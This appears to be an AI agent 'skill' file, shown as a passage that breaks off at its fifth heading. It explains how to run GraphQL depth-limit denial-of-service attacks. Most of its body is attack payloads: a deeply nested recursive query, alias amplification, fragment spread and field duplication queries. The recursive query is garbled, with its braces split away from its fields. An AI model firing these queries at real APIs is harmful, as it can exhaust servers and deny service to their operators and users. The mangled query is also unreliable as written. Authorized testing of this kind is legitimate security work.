Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs. Use when working with performing graphql depth limit attack.
Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs. Use when working with performing graphql depth limit attack.
GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.
When to Use
Trigger phrases:
"performing graphql depth limit attack"
"Execute and test GraphQL depth limit attacks using deeply nested recursive queri"
When conducting security assessments that involve performing graphql depth limit attack
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Target GraphQL API endpoint with introspection enabled or known schema
GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)
Python 3.8+ with requests library for automated testing
Burp Suite or mitmproxy for traffic analysis
Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Core Attack Techniques
This section covers core attack techniques for performing graphql depth limit attack.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
1. Recursive Depth Attack
When a GraphQL schema has bidirectional relationships, queries can reference them recursively:
# Schema with circular reference:# type User { posts: [Post] }# type Post { author: User }# Attack query with excessive nesting depthquery DepthAttack {
users
posts
author
posts
author
posts
author
posts
author
posts
author
posts
title
author
name
{
{
{
{
{
{
{
{
{
{
{
{
{
}
}
}
}
}
}
}
}
}
}
}
}
}
}
2. Alias-Based Amplification
When batch queries are blocked, aliases can multiply the same field request within a single query:
query AliasAmplification {a1: user(id:1){ posts { author { name }}}a2: user(id:1){ posts { author { name }}}a3: user(id:1){ posts { author { name }}}a4: user(id:1){ posts { author { name }}}a5: user(id:1){ posts { author { name }}}a6: user(id:1){ posts { author { name }}}a7: user(id:1){ posts { author { name }}}a8: user(id:1){ posts { author { name }}}a9: user(id:1){ posts { author { name }}}a10: user(id:1){ posts { author { name }}}}
3. Fragment Spread Attack
Fragments can be used to construct complex, deeply nested queries more efficiently:
fragment UserFields on User {
name
email
posts {
title
comments {
body
author {...NestedUser
}}}}fragment NestedUser on User {
name
posts {
title
author {
name
posts {
title
author {
name
}}}}}query FragmentAttack {
users {...UserFields
}}
4. Field Duplication Attack
Repeating the same field multiple times within a selection set increases processing:
query FieldDuplication {
user(id:1){
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }}}
5. Batch Query Attack
Sending multiple queries in a single HTTP request:
